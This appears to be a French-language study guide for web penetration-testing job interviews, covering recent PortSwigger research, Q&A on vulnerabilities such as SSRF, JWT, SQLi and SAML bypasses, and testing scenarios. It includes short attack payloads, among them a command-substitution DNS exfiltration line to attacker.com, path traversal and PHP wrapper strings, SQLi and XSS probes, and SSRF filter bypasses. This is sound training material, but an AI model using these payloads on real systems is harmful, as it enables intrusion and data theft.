X-Frame-Options: DENY              ← plus simple
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'  ← plus flexible, moderne

PS

PortSwigger Research — Hot Topics 2025

VEILLE — IMPRESSIONNE L'INTERVIEWER
🔬
Citer des recherches récentes de PortSwigger en entretien est un excellent signal de veille active. Voici les techniques les plus importantes à connaître issues du Top 10 Web Hacking Techniques of 2025 et des recherches récentes.

🥇 #1 — Successful Errors : New SSTI & Code Injection Techniques

Chercheur : Vladislav Korchagin — Source : PortSwigger Top 10 WHT 2025

Nouvelles techniques basées sur les erreurs pour exploiter le Server-Side Template Injection aveugle. Introduction de polyglots de détection et intégration dans un toolkit open-source. Adapte les techniques SQL injection error-based au SSTI.

# Blind SSTI — avant ces recherches, très difficile à détecter automatiquement
# Nouvelle approche : provoquer des erreurs différentes selon le moteur
# → error-based SSTI comme error-based SQLi

# Polyglot de détection multi-moteurs (concept)
${"z"*9000}{{9*9}}   → observe quel moteur crash/répond
{{9/0}}              → division par zéro → message d'erreur révèle le moteur

# Point clé pour l'entretien : le SSTI aveugle est maintenant exploitable
# sans affichage de la sortie, en utilisant les messages d'erreur comme oracle

🥈 #2 — ORM Leaks : Leaking More Than You Joined For

Chercheur : Alex Brown (elttam) — Source : elttam.com

Évolution des ORM leaks en méthodologie générique. Les fonctionnalités de recherche et filtrage dans les APIs REST/GraphQL peuvent exposer des données non autorisées via les opérateurs de l'ORM, sans injection SQL classique.

# Concept : les ORMs exposent souvent des opérateurs de filtrage puissants
# Ex: Django, Rails, Prisma, Sequelize

# API vulnérable (Prisma/Django style)
GET /api/users?email[contains]=admin    → filtre par sous-chaîne
GET /api/users?salary[gt]=100000        → fuite de données sensibles
GET /api/orders?user[email][endsWith]@admin.com  → enum des emails internes

# Différence avec SQLi : pas d'injection de code, utilisation légitime
# de l'API de l'ORM → contourne les WAFs
# Impact : dump complet de la DB via filtres successifs

🥉 #3 — Novel SSRF Technique via HTTP Redirect Loops

Chercheur : @shubs (Shubham Shah) — Source : slcyber.io

Technique pour rendre un SSRF aveugle visible en utilisant des boucles de redirections HTTP. Permet de confirmer et exploiter des SSRF précédemment considérés comme "blind".

# Le problème du SSRF blind : pas de réponse visible
# La technique : créer une boucle de redirection qui cause un comportement observable

# Serveur attaquant → redirige en boucle vers lui-même
http://attacker.com/redirect → 301 → http://attacker.com/redirect (loop)

# Le serveur vulnérable suit les redirections jusqu'à un timeout
# → délai observable dans la réponse = confirmation SSRF (time-based)
# → les logs du serveur attaquant révèlent les headers internes, IP source, etc.

# Très utile pour transformer "potentiellement vulnérable" en "confirmé exploitable"

Side-Channels & XS-Leaks (tendance 2025)

Selon James Kettle : "2025 saw the rise of side-channels as a core exploitation primitive." Deux techniques dans le top 10 :

#8 — XSS-Leak: Cross-Origin Redirect Leak

Utilise l'algorithme de priorisation du connection-pool de Chrome comme oracle pour deviner le hostname de destination d'une redirection cross-domain, sans lire la réponse.

Impact : info disclosure cross-origin sans XSS

#6 — Cross-Site ETag Length Leak

Exploite les headers ETag pour révéler la taille de la réponse cross-domain. Découvert comme solution non prévue d'un CTF. Chaîne de plusieurs edge-cases pour un impact plus large.

#4 — Lost in Translation : Unicode Normalization Attacks

Chercheurs : Ryan & Isabella Barnett — Source : Black Hat / ActiveScan++

Exploitation des normalisations Unicode pour bypasser des contrôles d'accès, des filtres et des WAFs. Un caractère Unicode peut être normalisé en une séquence ASCII avec des implications de sécurité.

# Exemples de normalisations dangereuses
ℌ → H   (U+210C Fraktur H → ASCII H)
﹤ → <   (U+FE64 small less-than → ASCII <, bypass filtre XSS)
① → 1   (U+2460 circled digit one)
ADMINadmin → après NFKC normalisation → devient "ADMINadmin"

# Bypass access control : /ADMIN → normalisé → /ADMIN
# Si le check est fait avant la normalisation mais le routing après
# → accès à des endpoints protégés

# Bypass SQLi filter : UNIONuni → UNION après normalisation
# Intégré dans ActiveScan++ pour Burp

#7 — Next.js Internal Cache Poisoning

Chercheur : Rachid Allam (zhero) — Source : zhero-web-sec.github.io

Vulnérabilité critique dans le cœur de Next.js — cache interne poisonnable. Différent du web cache poisoning classique (CDN/proxy) car il s'agit du cache applicatif interne du framework. Montre l'importance d'analyser le code source des frameworks populaires.

The Fragile Lock — Novel SAML Authentication Bypasses (Déc. 2025)

Chercheur : Zakhar Fedotkin (PortSwigger) — Source : portswigger.net/research/the-fragile-lock

Bypasses complets d'authentification SAML dans les écosystèmes Ruby et PHP via des incohérences de parsers XML. Affecte GitLab EE ≤ 17.8.4 et d'autres.

# SAML = XML signé → sécurité dépend de la validation de signature XML
# Problème : validation et parsing faits par 2 parsers différents (REXML + Nokogiri)

## Techniques exploitées :
1. Attribute Pollution : ID="attack" samlp:ID="real" → chaque parser lit un attribut différent
2. Namespace Confusion : xml:xmlns redéfini → cache l'élément Signature à un parser
3. Void Canonicalization (NOUVEAU) : URI relative xmlns:ns="1" cause une erreur de
   canonicalization dans Nokogiri → retourne string vide → DigestValue = hash("")
   → attaquant peut forger n'importe quelle assertion avec signature valide

# "Golden SAML Response" : réponse qui passe TOUJOURS la validation
# peu importe les claims forgés → account takeover complet

# Fix : une seule implémentation XML, strict schema sans extensions,
       ne jamais faire confiance à l'email domain seul pour l'access control

#10 — Parser Differentials

Concept transversal : quand deux composants (proxy/backend, validation/parser, etc.) interprètent la même donnée différemment → surface d'attaque. S'applique à XML, URL, HTTP, JSON, MIME types. Le SAML Fragile Lock en est un exemple parfait.

# Exemples de parser differentials exploités en 2025
URL parsing  : urllib vs requests → host différent dans la même URL
HTTP parsing : Content-Length vs Transfer-Encoding → Request Smuggling
XML parsing  : REXML vs Nokogiri → SAML bypass
JSON parsing : trailing comma acceptée par un parser, rejetée par l'autre
Email parsing: "user"@domain → splitting the email atom (Gareth Heyes 2024)

Ressources PortSwigger à connaître

ChercheurHandleSpécialité
James Kettle@albinowaxHTTP Smuggling, Cache Poisoning, SSRF, Web Cache Deception
Gareth Heyes@garethheyesXSS, CSP bypass, SAML, JS gadgets, Template Injection
Zakhar Fedotkin@zakfedotkinSAML, XML Security, Parser Differentials
Q&A

Questions Techniques — Entraînement

PRATIQUE
🎯
Clique sur chaque question pour voir la réponse. Essaie de répondre avant de regarder !
Q01Quelle est la différence entre une erreur 401 et une erreur 403 ?
401 Unauthorized signifie que le client n'est pas authentifié — il n'a pas fourni de credentials ou ils sont invalides. La réponse inclut généralement un header WWW-Authenticate indiquant comment s'authentifier. 403 Forbidden signifie que le client est identifié (ou même authentifié) mais n'a pas les permissions pour accéder à la ressource. En pentest : un 403 peut être bypassé via des techniques comme la modification de méthodes HTTP, des headers X-Original-URL, ou des variations de path case. Un 401 nécessite de trouver ou bruteforcer des credentials.
Q02Explique le Same-Origin Policy et ses limitations en sécurité.
La SOP empêche un script d'une origine (schéma+host+port) de lire les réponses d'une autre origine. Elle protège contre le vol de données cross-origin. Limitations : Elle n'empêche pas les requêtes cross-origin (elle empêche la lecture des réponses, d'où CSRF). Elle n'empêche pas l'embedding (images, scripts, CSS), d'où le clickjacking. Elle ne couvre pas les WebSockets sans CORS. Les cookies SameSite=None contournent sa protection pour les cookies. Des mises en œuvre incorrectes de CORS la court-circuitent entièrement.
Q03Quelles sont les 3 types de XSS ? Lequel est le plus dangereux et pourquoi ?
Reflected XSS : payload dans la requête, reflété immédiatement. Nécessite un lien malveillant. Stored XSS : stocké en base de données, exécuté pour tous les visiteurs. DOM-based XSS : le payload ne passe jamais par le serveur, traité entièrement côté client. Le plus dangereux est le Stored XSS car il ne nécessite aucune interaction victim→lien, touche tous les utilisateurs, persiste dans le temps, et peut viser des admins. Cependant, le DOM XSS est souvent le plus difficile à détecter car les scanners serveur ne le voient pas.
Q04Comment fonctionne une attaque SSRF sur le service de métadonnées AWS ? Qu'est-ce qu'IMDSv2 apporte ?
En IMDSv1, n'importe quelle requête HTTP vers 169.254.169.254 renvoie les métadonnées de l'instance, y compris les credentials IAM temporaires. En SSRF, l'attaquant force le serveur à requêter cette URL et récupère les clés d'accès AWS via la réponse. IMDSv2 requiert d'abord un PUT pour obtenir un token (TTL court), puis inclure ce token dans un header custom. Cela empêche le SSRF simple car les requêtes SSRF classiques ne font qu'un GET (pas de PUT préalable). Bypass partiel : si l'application permet des requêtes arbitraires avec headers custom, IMDSv2 peut être contourné.
Q05Qu'est-ce que le HTTP Request Smuggling ? Explique la variante CL.TE.
Le Request Smuggling exploite des divergences d'interprétation entre le proxy front-end et le serveur back-end sur la longueur des requêtes HTTP. Dans CL.TE : le front-end utilise Content-Length pour définir la fin de la requête, le back-end utilise Transfer-Encoding: chunked. L'attaquant envoie les deux headers. Le front-end voit CL et transmet tout. Le back-end voit TE, lit jusqu'au chunk "0" (fin), et considère le reste ("SMUGGLED") comme le début d'une nouvelle requête. Ce "début" sera préfixé à la prochaine requête d'un autre utilisateur, permettant de modifier sa requête, capturer ses données, ou bypass des contrôles d'accès.
Q06Quels sont les différents attributs de cookies sécurité et leur rôle exact ?
HttpOnly : bloque l'accès JavaScript (document.cookie), protège contre le vol via XSS. Secure : cookie envoyé uniquement sur HTTPS, protège contre l'interception MITM. SameSite=Strict : cookie jamais envoyé dans les requêtes cross-site (même navigation depuis lien externe) → protection maximale CSRF. SameSite=Lax : envoyé pour la navigation de premier niveau (clic sur lien) mais pas pour les sous-requêtes cross-site (images, iframes, fetch). Compromis UX/sécurité. SameSite=None : toujours envoyé cross-site, doit être accompagné de Secure. Domain : définit les sous-domaines qui reçoivent le cookie. Path : limite le cookie à un chemin. Max-Age/Expires : persistance.
Q07Comment exploites-tu un SSRF blind si tu n'obtiens aucune réponse du serveur ?
Pour un Blind SSRF, on utilise des techniques out-of-band : on fait pointer le SSRF vers un serveur sous notre contrôle qui enregistre les connexions entrantes. Outils : Burp Collaborator (génère un subdomain unique et notifie), interactsh (open source, même principe), ou un simple serveur HTTP/DNS personnel. Workflow : 1) Générer un payload URL unique, 2) Injecter dans le point vulnérable, 3) Observer les callbacks DNS ou HTTP. On peut aussi extraire des données via DNS : http://$(whoami).attacker.com ou via des délais (time-based blind SSRF). Puis mapper le réseau interne en probing des IPs/ports privés et observer les différences de timing ou codes d'erreur.
Q08Explique l'attaque "JWT algorithm confusion" (RS256 → HS256).
Cette attaque fonctionne quand un serveur utilise RS256 (asymétrique : clé privée signe, clé publique vérifie) mais accepte aussi HS256 (symétrique : même clé pour signer et vérifier). L'attaquant : 1) Récupère la clé publique RSA du serveur (souvent disponible via JWKS endpoint ou exposition publique). 2) Forge un JWT avec alg: HS256 et le payload modifié (ex: isAdmin: true). 3) Signe le JWT en HMAC-SHA256 en utilisant la clé publique RSA comme secret. 4) Le serveur, voyant HS256, prend sa clé "secrète" — qui est en réalité sa clé publique — et valide correctement. C'est une confusion algorithme : l'attaquant utilise une donnée publique connue comme secret HMAC. Fix : hardcoder l'algorithme attendu côté serveur, ne pas faire confiance à l'header alg du token.
Q09Quelle est la différence entre une SQLi Union-based et Time-based ? Quand utilises-tu chacune ?
Union-based : les données extraites sont affichées directement dans la réponse HTTP. On injecte UNION SELECT pour ajouter une ligne avec les données voulues dans le jeu de résultats. Nécessite de connaître le nombre de colonnes et leurs types. Usage : quand on voit les données de la DB dans la page (liste d'articles, profil utilisateur, etc.). Time-based blind : aucune donnée visible dans la réponse. On infère les informations bit par bit en mesurant le délai de réponse (SLEEP, WAITFOR). Ex : si le premier caractère du password est 'a', attends 5s → si délai observable, 'a' est correct. Usage : quand l'application n'affiche rien mais est vulnérable (erreurs cachées, réponse binaire ok/ko). Beaucoup plus lent, utilisé en dernier recours.
Q10Comment fonctionne le CSRF et comment le SameSite=Lax le protège-t-il partiellement ?
Le CSRF exploite le fait que les navigateurs envoient automatiquement les cookies de session avec toute requête vers un domaine, même cross-site. L'attaquant crée une page qui déclenche une requête vers le site cible : le cookie de session de la victime est envoyé automatiquement, et le serveur exécute l'action. SameSite=Lax protège en n'envoyant le cookie que pour la navigation de premier niveau (l'utilisateur clique sur un lien → GET). Il bloque les requêtes cross-site initiées par JavaScript (fetch, XMLHttpRequest), les iframes, les images, et les formulaires POST. Limite : SameSite=Lax n'empêche pas le CSRF via des GET qui ont un effet de bord côté serveur (actions déclenchées en GET), ni les attaques impliquant une navigation top-level avec paramètres malveillants.
Q11Qu'est-ce que le SSTI et comment identifies-tu le moteur de templating ?
Le SSTI (Server-Side Template Injection) se produit quand une entrée utilisateur est directement intégrée dans un template puis rendu par le moteur, au lieu d'être passée comme variable séparée. Pour identifier le moteur : injecter {{7*7}} — si la page affiche 49, c'est probablement Jinja2 ou Twig. Puis {{7*'7'}} : Jinja2 affiche 7777777 (répétition Python), Twig affiche 49 (conversion numérique PHP). ${7*7} → FreeMarker ou Velocity. <%=7*7%> → ERB (Ruby). Une fois le moteur identifié, on cherche les gadgets d'exécution de code spécifiques au langage. Jinja2 permet de traverser la hiérarchie de classes Python pour atteindre subprocess ou os.
Q12Explique comment une misconfiguration CORS peut mener à un compte compromis.
Si un serveur reflète l'header Origin dans Access-Control-Allow-Origin et répond Access-Control-Allow-Credentials: true, n'importe quel site peut faire des requêtes authentifiées cross-origin et lire les réponses. Attaque : 1) La victime est connectée à bank.com. 2) L'attaquant l'attire sur evil.com. 3) JavaScript sur evil.com fait fetch('https://bank.com/api/account', {credentials:'include'}). 4) Le navigateur envoie les cookies de session de la victime. 5) Le serveur répond avec les données sensibles ET autorise evil.com à les lire. 6) evil.com exfiltre les données vers l'attaquant. Fix : whitelist stricte des origines, ne jamais refléter l'Origin dynamiquement sans validation.
Q13Quels sont les wrappers PHP exploitables en LFI et lesquels peuvent mener à RCE ?
php://filter : lecture de fichiers en base64 (utile pour lire le source PHP). php://input : si allow_url_include=On, peut inclure du code PHP depuis le POST body → RCE. data://text/plain;base64,... : injection directe de code PHP encodé → RCE (si allow_url_include=On). zip:// et phar:// : permettre d'inclure du PHP depuis une archive uploadée → RCE si on peut uploader. expect:// : extension rare, exécute des commandes directement. RCE direct sans allow_url_include : log poisoning (injecter du PHP dans les logs Apache/Nginx, puis include le fichier de log), session poisoning (PHP dans User-Agent, include /tmp/sess_xxxx), /proc/self/environ si lisible.
Q14Comment bypasses-tu un filtre anti-SSRF qui blackliste 127.0.0.1 et localhost ?
Techniques de bypass : Représentations alternatives de l'IP : 0177.0.0.1 (octal), 0x7f000001 (hex), 2130706433 (decimal entier), 127.1 (notation courte). IPv6 : ::1 ou [::ffff:127.0.0.1]. DNS wildcard : 127.0.0.1.nip.io (résout en 127.0.0.1), services comme nip.io, xip.io. Open redirect : utiliser une URL autorisée qui redirige vers 127.0.0.1. DNS rebinding : domaine qui résout d'abord une IP publique (passe la validation) puis 127.0.0.1 lors de la vraie requête. Encodage URL : http://localhost%09@evil.com, ambiguïtés de parsing. Cas réel du CTF (facts.htb) : ces techniques s'appliquent exactement au bypass de filtres SSRF sur le Media>Import URL.
Q15Qu'est-ce que le Mass Assignment et comment l'exploites-tu ?
Le Mass Assignment survient quand un framework lie automatiquement les paramètres HTTP aux propriétés d'un objet modèle sans whitelist explicite. Si un modèle User a des champs name, email, isAdmin et que l'endpoint PUT /users/me bind tous les paramètres JSON, un attaquant peut envoyer {"name":"x","isAdmin":true} pour s'octroyer les droits admin. Exemples : Ruby on Rails (attr_accessible), Laravel (fillable/guarded), Spring MVC. En pentest : chercher des champs supplémentaires dans les réponses API (documentation Swagger, source JS) et les inclure dans les requêtes de modification. Tester avec role, isAdmin, is_staff, verified, balance, discount.
Q16Qu'est-ce que le Web Cache Poisoning et quels sont les "unkeyed inputs" typiques ?
Le Web Cache Poisoning consiste à faire stocker une réponse malveillante dans un cache (CDN, reverse proxy) pour qu'elle soit servie aux utilisateurs suivants. La condition : il faut un unkeyed input — un élément non inclus dans la clé de cache mais qui influence la réponse. Unkeyed inputs courants : X-Forwarded-Host (reflété dans des liens/scripts), X-Forwarded-Scheme, X-Original-URL, paramètres de query non utilisés par l'app mais acceptés, headers de locale/langue, Vary non implémenté. Impact : livraison de JS malveillant à tous les visiteurs (XSS persistant via cache), redirection vers site attaquant, manipulation de contenu statique. Détection : Param Miner (extension Burp) pour découvrir les unkeyed inputs.
Q17Comment sécurises-tu une API REST exposée publiquement ? Cite au moins 8 mesures.
1. Authentification forte : OAuth2 + PKCE ou JWT avec expiration courte. 2. Autorisation granulaire : vérifier côté serveur chaque accès à un objet (BOLA/IDOR). 3. Rate limiting : par IP et par utilisateur, différencié par endpoint sensible. 4. Input validation : schéma JSON/XML strict, rejeter les paramètres inconnus. 5. HTTPS uniquement : HSTS avec preload. 6. Versioning : désactiver les versions legacy et non maintenues. 7. Minimal disclosure : erreurs génériques, pas de stack traces, headers serveur minimaux. 8. CORS strict : whitelist explicite, jamais de wildcard avec credentials. 9. Audit logging : logger toutes les actions sensibles avec user, IP, timestamp. 10. Désactiver l'introspection GraphQL en production. 11. Subresource Integrity pour les scripts tiers. 12. Penetration testing régulier et bug bounty program.
Q18Explique une attaque OAuth via un open redirect sur redirect_uri. Quelles validations sont insuffisantes ?
Dans OAuth, le serveur d'autorisation envoie le code vers la redirect_uri. Si cette URI n'est validée qu'avec une correspondance de préfixe ou regex faible, l'attaquant peut rediriger le code vers son serveur. Validations insuffisantes : vérifier seulement le domaine de base (bypass : trusted.com.evil.com), regex avec anchoring manquant (trusted.com matche trusted.com.evil.com), vérification qui autorise les sous-répertoires sans whitelist complète. Attaque : 1) Créer un lien OAuth avec redirect_uri=https://trusted.com/redirect?next=https://evil.com. 2) Si trusted.com a un open redirect, le code est leaké via Referer ou directement transmis. 3) Échanger le code contre un access_token. Fix : correspondance exacte de la redirect_uri contre une whitelist, pas de regex.
Q19Qu'est-ce que l'insecure deserialization Java ? Comment l'identifies-tu dans le trafic ?
Java sérialise les objets en format binaire. L'insecure deserialization se produit quand ce binaire est fourni par l'utilisateur et désérialisé sans validation → un attaquant forge un objet malveillant qui exécute du code lors de la désérialisation via des gadget chains (enchaînement de méthodes readObject()). Identification : chercher dans le trafic des valeurs commençant par rO0AB (base64 de AC ED 00 05), présence dans cookies, paramètres POST, headers. Chercher des Content-Type application/x-java-serialized-object. Exploitation : ysoserial génère des payloads pour des gadget chains connues (CommonsCollections, Spring, etc.). Détection : Burp extension "Java Deserialization Scanner". Fix : ne jamais désérialiser des données non fiables, utiliser des lookups de classes blanches (allowlist), signer les données sérialisées.
Q20Quelle est la différence entre XSS stocké et CSRF ? Peuvent-ils être combinés ?
XSS stocké : injection de JavaScript malveillant exécuté dans le navigateur de la victime dans le contexte de l'application cible. L'attaquant contrôle le JS côté client. CSRF : force la victime à effectuer une action non voulue via une requête cross-site, sans exécuter de JS sur la cible. Combinaison XSS+CSRF : très puissante. Un XSS sur le site cible peut contourner toutes les protections CSRF car le JS s'exécute dans la même origine → peut lire les tokens CSRF depuis le DOM, puis les rejouer dans des requêtes forgées. Exemple : XSS lit le CSRF token caché dans le form HTML, forge une requête POST de virement avec ce token valide. C'est pourquoi résoudre XSS est prioritaire sur CSRF : XSS annule la protection CSRF.
Q21Quels sont les grands changements entre OWASP Top 10 2021 et 2025 ? Cite les nouveautés.
Changements majeurs : A03 "Software Supply Chain Failures" change radicalement de scope — ce n'est plus seulement "composants vulnérables" mais TOUTE la chaîne : CI/CD, IDEs, registres npm, artifacts, signatures, dépendances transitives. Exemples 2025 : Bybit ($1.5B volés) et le worm npm Shai-Hulud (500+ packages). A10 est une nouvelle catégorie : "Mishandling of Exceptional Conditions" — gestion des erreurs, fail-open, race conditions transactionnelles, expositions via stack traces. SSRF disparaît en tant que catégorie autonome (était A10 en 2021) et est absorbée dans A01 Broken Access Control (CWE-918). A02 Security Misconfiguration remonte de A05 à A02. Le classement reflète des données réelles d'incidence : A01 touche 100% des apps testées.
Q22Qu'est-ce que le "Mishandling of Exceptional Conditions" (A10:2025) et donne des exemples d'exploitation ?
C'est la nouvelle catégorie OWASP 2025 qui regroupe les problèmes de gestion incorrecte des erreurs et conditions anormales. Fail Open (CWE-636) : quand une exception se produit dans une vérification d'accès et que le système laisse passer au lieu de bloquer → bypass d'authentification. Information disclosure via erreurs : stack traces exposées en production → reconnaissance pour SQLi ou identification du framework. Race condition transactionnelle : transaction en 3 étapes (débit → crédit → log) sans rollback atomique → si interruption réseau entre étape 1 et 2, argent débité sans créditer. Resource exhaustion : exceptions non catchées laissent des ressources bloquées → DoS progressif. Défense clé : "fail closed" par défaut, erreurs génériques côté client, rollback transactionnel complet, global exception handler.
Q23Qu'est-ce que les ORM Leaks ? Comment exploiter les fonctionnalités de filtrage d'une API REST ?
Les ORM Leaks (recherche elttam 2025, Top 10 PortSwigger #2) exploitent les opérateurs de filtrage exposés par les ORMs dans les APIs. Contrairement à la SQLi classique, on n'injecte pas de code SQL — on utilise légitimement les opérateurs du framework. Exemple : si une API Django/Prisma expose ?email[contains]=admin, un attaquant peut extraire progressivement toutes les données via des filtres successifs (startsWith, endsWith, gt, lt). C'est analogue aux XS-Leaks mais côté serveur. Impact : dump complet de colonnes sensibles (salaires, emails, mots de passe hashés) sans écrire une seule ligne de SQL. Particularité : passe souvent les WAFs car les requêtes sont syntaxiquement correctes. Défense : whitelist stricte des opérateurs de filtrage autorisés, ne pas exposer tous les champs filtrables.
Q24Explique les "Parser Differentials" et comment ils créent des vulnérabilités de sécurité.
Les Parser Differentials surviennent quand deux composants d'un système interprètent différemment la même donnée. C'est une surface d'attaque transversale qui se retrouve dans de nombreux protocoles. Exemples concrets : HTTP Request Smuggling (front-end lit Content-Length, back-end lit Transfer-Encoding → même requête, frontières différentes). SAML Fragile Lock (REXML vs Nokogiri lisent des attributs XML différents → bypass de signature). URL parsing (urllib et requests peuvent extraire un host différent pour la même URL → SSRF bypass). Email atom splitting (parseurs SMTP vs OAuth voient des adresses différentes → bypass access control). Principe général : dès qu'une donnée passe par deux composants qui l'interprètent indépendamment, un différentiel peut exister. C'est le #10 des techniques de hacking 2025 selon PortSwigger. Défense : un seul parser de confiance, validation après normalisation, ne pas faire confiance aux composants upstream.
Q25Qu'est-ce que les XS-Leaks (Cross-Site Leaks) ? Donne 2 techniques concrètes de 2025.
Les XS-Leaks exploitent des canaux latéraux dans le navigateur pour inférer des informations cross-origin sans violer directement la SOP — le navigateur révèle indirectement des informations via des comportements observables. Technique 1 — Cross-Origin Redirect Leak (PortSwigger Top 10 #8) : utilise l'algorithme de priorisation du connection-pool de Chrome. Si Chrome optimise les connexions vers un certain hostname, un observer peut déduire vers quel domaine une redirection cross-origin pointe, sans lire la réponse. Cela révèle des URLs internes, tokens dans des redirections, etc. Technique 2 — ETag Length Leak (#6) : exploite les headers ETag pour révéler la taille de la réponse cross-domain via une chaîne d'edge-cases. Utile pour inférer si un contenu existe, sa taille, donc son contenu. Défenses : CORP (Cross-Origin-Resource-Policy), COOP (Cross-Origin-Opener-Policy), SameSite cookies, limiter les informations dans les URLs de redirection.
Q26Explique comment la recherche "The Fragile Lock" (PortSwigger, 2025) bypasse l'authentification SAML.
SAML utilise des signatures XML pour garantir l'intégrité des assertions d'identité. La recherche de Zakhar Fedotkin montre que Ruby-SAML (et PHP-SAML) utilisent deux parsers XML différents — REXML pour certaines parties et Nokogiri pour d'autres — créant des inconsistances exploitables. Attribute Pollution : ID="attack" samlp:ID="real" — chaque parser lit un attribut différent selon l'ordre et la gestion des namespaces, permettant de faire signer un élément mais en faire valider un autre. Void Canonicalization (nouvelle technique) : en ajoutant xmlns:ns="1" (URI relative invalide), la canonicalization de Nokogiri échoue et retourne une string vide au lieu de bloquer. Le DigestValue calculé sur une string vide est prévisible (SHA-256 d'une string vide = valeur connue). L'attaquant peut alors forger une assertion complète qui passe toujours la validation. Résultat : une "Golden SAML Response" qui permet l'account takeover de n'importe quel utilisateur, y compris les admins. Fix : mettre à jour vers ruby-saml ≥ 1.18.0.
══════════════════════════════════════ -->
SC

Scénarios Pratiques

ENTRETIEN AVANCÉ
🧩
Les interviewers posent souvent des scénarios "que ferais-tu si...". Voici les plus courants avec la méthodologie attendue.
SC1Tu testes une application et trouves un paramètre qui semble télécharger un fichier : ?file=invoice.pdf. Quelle est ta méthodologie ?
1. Path Traversal : tenter ../../../etc/passwd, ....//etc/passwd, encodages URL.
2. LFI : si PHP, tenter des wrappers php://filter/convert.base64-encode/resource=index.php.
3. SSRF : si le paramètre est une URL complète ou peut l'être, tenter http://localhost/, file:///etc/passwd.
4. Information disclosure : tester des chemins connus selon le stack (config.php, .env, web.config, application.properties).
5. Wildcard : tenter *, %00 (null byte truncation ancienne vulnérabilité PHP).
6. Bypass d'extension : si seul .pdf est accepté — ../../../etc/passwd%00.pdf, ../etc/passwd.pdf si la validation est naive.
Réponse idéale : structurer la démarche, mentionner les encodages, les wrappers PHP, et les impacts possibles de chaque vulnérabilité.
SC2Une API retourne {"userId": 1234, "data": ...} et tu es l'utilisateur ID 1234. Comment testes-tu les problèmes d'autorisation ?
IDOR horizontal : changer userId en 1233, 1235, 1, 0, -1, 9999 et observer les réponses (200 avec données = IDOR).
IDOR dans toutes les méthodes : tester GET, PUT, DELETE, PATCH avec l'ID modifié.
GUIDs : si UUID, chercher où l'UUID d'un autre user est exposé (logs, référence dans d'autres réponses, Wayback Machine).
Vertical escalation : ajouter isAdmin: true, role: "admin" dans les requêtes PUT/PATCH (mass assignment).
Accès cross-token : créer 2 comptes, utiliser le token de l'un pour accéder aux ressources de l'autre.
Référence indirecte : chercher d'autres paramètres qui référencent des objets (orderId, documentId, accountId dans les autres endpoints).
Méthode non autorisée : si GET /admin est 403, tester POST /admin, TRACE /admin, X-HTTP-Method-Override: GET.
SC3Tu vois un champ de recherche qui affiche "Résultats pour : [ta requête]". Comment testes-tu XSS et SQLi ?
XSS — étapes : 1) Tester <b>test</b> → si bold s'affiche, le HTML passe. 2) Tenter <script>alert(1)</script>. 3) Si filtré, observer ce qui est encodé/supprimé pour contourner. 4) Analyser le contexte : dans un attribut HTML ? Dans du JS ? Adapter le payload. 5) Tester les variantes : event handlers, SVG, iframe. 6) CSP présente ? Chercher des bypasses.
SQLi — étapes : 1) Injecter ' → erreur DB visible ? 2) Tenter ' OR 1=1--. 3) Si pas d'erreur, blind : ' AND SLEEP(5)--. 4) Déterminer le type de DB (version(), @@version). 5) Compter les colonnes (ORDER BY). 6) UNION SELECT pour extraction.
Méthode pro : toujours observer d'abord le comportement normal, puis systématiquement caractères spéciaux, puis payloads complets.
SC4Une application utilise des tokens JWT. Quelle est ta checklist complète de tests ?
1. Décoder le JWT (jwt.io) → analyser header (alg, kid) et payload (rôles, timestamps).
2. Algorithm None : changer alg en none/None/NONE, supprimer la signature.
3. Algorithm Confusion RS256→HS256 : si alg=RS256, récupérer la clé publique et forger en HS256.
4. Brute force secret HS256 : hashcat avec wordlists si le secret est faible.
5. Kid injection : si kid présent, tenter path traversal (../../dev/null), SQL injection.
6. jku/x5u : tenter de pointer vers un JWK externe contrôlé.
7. Embedded JWK : insérer sa propre clé publique dans le header.
8. Expiration : tester des tokens expirés (le serveur les rejette-t-il ?).
9. Audience/Issuer : le serveur valide-t-il ces claims ?
10. Réutilisation cross-service : un token d'un service fonctionne-t-il sur un autre ?

Checklist — Préparation Finale

À COCHER

Concepts à maîtriser

  • OWASP 2025 : A03 Supply Chain + A10 Exceptional Conditions
  • HTTP (méthodes, headers, 401 vs 403)
  • SOP, CORS, CSP, HSTS
  • XSS : 3 types + sources/sinks DOM
  • SQLi : types + différences DB
  • SSRF : cibles cloud + bypasses IP + redirect loops
  • JWT : toutes les attaques
  • OAuth : flows + attaques redirect_uri
  • HTTP Smuggling : CL.TE, TE.CL
  • Cookie attributes : HttpOnly, SameSite, etc.
  • SSTI : détection + error-based (PortSwigger #1 2025)
  • Parser Differentials (XS-Leaks, SAML, HTTP)
  • ORM Leaks + Unicode Normalization

Posture & soft skills

  • Structurer sa réponse (STAR si nécessaire)
  • Dire "je ne sais pas" plutôt que d'inventer
  • Parler des contre-mesures après chaque vuln
  • Mentionner des tools (Burp, ffuf, nuclei...)
  • Référencer des ressources (PortSwigger Labs)
  • Poser des questions pertinentes à la fin
  • Relier les vulns à des CVEs réels si possible
  • Montrer une curiosité et veille active
🚀
Conseil final : Pour chaque vulnérabilité, mémorise ce triptyque : Comment ça fonctionneComment tu l'exploitesComment tu le corriges. C'est exactement ce qu'un interviewer cherche à entendre.

Questions à poser à ton tour

  • Quelle est la stack technologique principale des apps que vous testez ?
  • Est-ce que l'équipe travaille sur du red team ou plutôt du bug bounty / audit ?
  • Quels outils custom avez-vous développé en interne ?
  • Comment se déroule l'onboarding et la montée en compétences ?
  • Quelle est la politique sur la recherche et la publication de CVEs ?